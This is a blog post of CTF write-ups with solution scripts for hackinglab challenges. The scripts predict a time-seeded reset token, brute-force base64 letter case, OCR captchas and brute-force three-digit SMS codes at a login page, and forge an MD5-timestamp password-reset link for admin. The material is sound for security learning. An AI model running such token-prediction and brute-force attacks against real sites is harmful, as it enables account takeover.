hackinglab做题脚本整理

Author Avatar
ssssdl 8月 15, 2018

php-curl

0x00 题目

来源于hcakinglab上的一个题:
小明学习代码审计
分值: 350
小明为了追他心爱的女孩,可谓是绞尽脑汁,天天熬夜好好学习!现在他已经开始学习代码审计,一天,他来到一个电商网站,发现了可爱的程序员竟然写了这样的代码,于是乎,他便重置了管理员密码,买了许多好吃的.
通关地址
Tips: 该题目模拟真实环境,请不要放过细节.提示不如不提示,Take it easy!

0x01 解题思路

  • get源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php 
    session_start();
    include '_flag.php';
    date_default_timezone_set('Asia/Shanghai');
    if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
    if($_POST['token']==$_SESSION['token']){
    echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
    echo "Token_error!";
    }
    }else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
    echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
    };
    }
    echo '<form action="" method="POST">
    <input type="text" name="token">
    <input type="submit" value="submit">
    </form>';
    echo "<!--\r\n".file_get_contents(__FILE__);
    ?>
  • 分析

    上面代码利用time()做随机数种子生成随机数,sha1加密后放入session中的token中,然后和接收的token参数进行比较,相同输出flag,如果用python实现的话比较麻烦,因为python的随机数生成的和php的不一样(至少格式不同),即使同样的随机数种子,考虑直接使用php实现,也可以使用python+php,php写一个生成随机数并加密的网站,python请求这个网站获取随机数,再发送到题目上(渐渐偏离主题)

  • 解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//准备
$ch = curl_init();//初始化
$cookie = 'cookie.txt';//用于储存cookie 不用提前准备 函数会自己创建文件
date_default_timezone_set('Asia/Shanghai');//和题目一样生成随机数
mt_srand(time());
$rand= mt_rand();
//要post发送的数据
$data = array(
'token' => sha1(md5($rand))
);
//发送请求获取cookie curl_setopt()函数可以设置一些参数 curl_exec()执行访问 返回访问结果(html)
curl_setopt($ch, CURLOPT_URL, "http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php");//设置url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置返回一字符串形式
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);//获取cookie
$output = curl_exec($ch);
//
curl_setopt($ch,CURLOPT_URL,"http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php");
curl_setopt($ch, CURLOPT_POST, 1);//设置post方式访问
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //使用上面获取的cookie
//curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60); //这个应该是延时
curl_setopt($ch, CURLOPT_POSTFIELDS , http_build_query($data));//设置post的数据
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
echo $output;
curl_close($ch);//关闭连接
?>

base64解密

0x00 题目

异常数据
分值: 200
小明今天去妹纸家开Party,而妹纸却给他出了一个谜语,说只要他能答出来,她就会答应小明一个要求.
这是妹纸给小明的谜语序列:AGV5IULSB3ZLVSE=
Tips:key就是解密结果

0x01 解题

  • 思路

    这是一串base64但是把全部小写字母都转换为大写了,只要恢复原来的base64,解密就可以得到flag,而且我在一开始尝试的时候发现把第一个字母改成小写 会解密出hey!B�vKU! ,说明flag中可能存在hey字样
    综上:我的思路是利用字母不是大写就是小写的特性,和二进制数字非零即一特性进行爆破,解密匹配其中含有hey关键字的显示出来,再人工挑取其中没有乱码的,就是flag。感觉这个脚本还是写的有点灵魂的 ,ahhhhhh

  • 脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #AGV5IULSB3ZLVSE= 前面的字母大小写随机组合解密base64 有2的十三次方-1 hhh
    #可以用二进制思想解决就这个题 每次加一 化成二进制对应位上的字母如果是0就大写,1就小写,数字跳过不处理,输出所有key的结果

    import base64

    for i in range(65526):
    miw = 'AGV5IULSB3ZLVSE='
    cs = len(bin(i))
    for j in range(cs-3):
    if str(bin(i))[cs-j-3]!= 'b':#问题:一开始长度小于16
    #判断这一位是1就把miw这一位大写换成小写
    if str(bin(i))[cs-j-3] == '1':
    if miw[cs-j-5].isupper():
    tmp=list(miw)
    tmp[cs-j-5]=miw[cs-j-5].lower()
    miw=''.join(tmp)
    else:
    break
    #解base64
    basm = base64.b64decode(miw.encode('utf-8'))
    if 'hey!' in str(basm):
    print(str(basm))

验证码识别

0x00 题目

验证码识别
分值: 350
验证码识别
Tips:验证码依然是3位数
通关地址

0x01 解题

  • 思路

    这个题是有提示的验证码识别,但是有前面的题的经验,还是有点不死心,用别的方法尝试了好久,但是一直没有结果,最后还是看了一下python的图像识别,发现题目中的这种简单的图像还是挺好识别的,还有就是这个题还有一些工具可以实现(我记得有一个挺多人推崇的工具忘了叫什么)

  • 关于图像识别

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    # 这个是看一个大佬的教程写的学习图像识别的简单脚本,在使用图像识别之前一定要把所有的库安装好,这个题做有一段时间了,我记得这个安装库文件好像还是稍微有点麻烦的,可以去搜一下教程,避免走弯路
    from PIL import Image
    from pytesseract import image_to_string

    #颜色大于140的置1 小于的置0
    def initTable(threshold = 140):
    table = []
    for i in range(256):
    if i< threshold:
    table.append(0)
    else:
    table.append(1)
    return table

    #打开图片
    im = Image.open('vcode.png')
    #减少图片的色彩,化为灰度图
    im = im.convert('L')
    print(im)
    #将灰度图二值化
    binaryImage = im.point(initTable(),'1')
    #显示处理过后的图片binaryImage.show()
    #识别文本 这个config可以根据自己的需要设置
    """
    -psm N
    Set Tesseract to only run a subset of layout analysis and assume a certain form of image. The options for N are:

    0 = Orientation and script detection (OSD) only.
    1 = Automatic page segmentation with OSD.
    2 = Automatic page segmentation, but no OSD, or OCR.
    3 = Fully automatic page segmentation, but no OSD. (Default)
    4 = Assume a single column of text of variable sizes.
    5 = Assume a single uniform block of vertically aligned text.
    6 = Assume a single uniform block of text.
    7 = Treat the image as a single text line.
    8 = Treat the image as a single word.
    9 = Treat the image as a single word in a circle.
    10 = Treat the image as a single character.
    """
    print(image_to_string(binaryImage,config='-psm 7'))
  • 解题脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import requests
    from PIL import Image
    from pytesseract import image_to_string
    # 图像识别
    def initTable(threshold = 140):
    table = []
    for i in range(256):
    if i< threshold:
    table.append(0)
    else:
    table.append(1)
    return table
    def imagevcode_to_string(url):
    im = Image.open(url)
    im = im.convert('L')
    binaryImage = im.point(initTable(),'1')
    return image_to_string(binaryImage,config='-psm 7')

    s = requests.session()
    url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/'
    r = s.get(url)
    s.post(url+"mobi_vcode.php",data={'getcode':'1','mobi':'13388886666'})
    for i in range(100,1000):
    print('测试手机验证码:'+str(i))
    img = s.get(url+'vcode.php')
    with open("vcode.png",'wb') as f:
    f.write(img.content)
    j = imagevcode_to_string('vcode.png')
    r = s.post(url+'login.php',data={'username':'13388886666','mobi_code':i,'user_code':j,'Login':'submit'})
    if 'error' not in r.text:
    print('正确验证码为:'+str(i))
    print(r.text)
    break

时间戳

0x00 题目

以管理员身份登录系统
分值: 450
以管理员身份登录即可获取通关密码(重置即可,无需登录)
通关地址
补充说明:假设除了admin用户,其它用户的邮箱都可被登录获取重置密码的链接。

0x01 解题

  • 思路

    这个题目上如果是普通用户忘记密码重置密码的时候都会得到一个链接大概这种http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=ff6e09020691aae0eeb48b37ae57cbd9&username=ssssdl,但admin得不到,经过分析sukey是时间戳的md5加密,username是用户名,所以就可构造链接重置admin的密码

  • 解题脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import time
    import requests
    import hashlib
    import datetime

    s = requests.Session()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/'
    r = s.get(url+'index.php')
    print(r.text)
    tm = hashlib.md5()
    r = s.post(url+'resetpassword.php',data={'username':'admin'})
    #获取服务器时间格式Wed, 18 Jul 2018 00:43:24 GMT,t是处理后的时间 注意只有小时前面是0,且加8不会进位的时候生效,其余自己稍微改一下
    # 这里有一个r.headers['Date'] 获取服务器时间的
    t = str(datetime.datetime.now().year)+"-"+str(datetime.datetime.now().month)+"-"+str(datetime.datetime.now().day)+" "+"0"+str(int(r.headers['Date'][18:19])+8)+':'+r.headers['Date'][20:25]
    timeArray = time.strptime(t, "%Y-%m-%d %H:%M:%S")
    timeStamp = int(time.mktime(timeArray))
    tm.update(str(timeStamp).encode('utf-8'))#服务器时间加8个小时
    urladmin = url+'reset.php?sukey='+tm.hexdigest()+'&username=admin'
    print(urladmin)
    r = s.get(urladmin)
    print(r.text)

最后

本来打算这些脚本每个写一篇博客的,但是由于本人比较懒。。。。先就这样吧。
最后附上本人的进度(¯﹃¯)ctf就是学习和积累的过程

最最后

附上最近发现的一个只有96kb的超级炫酷3D射击大作下载链接 :-)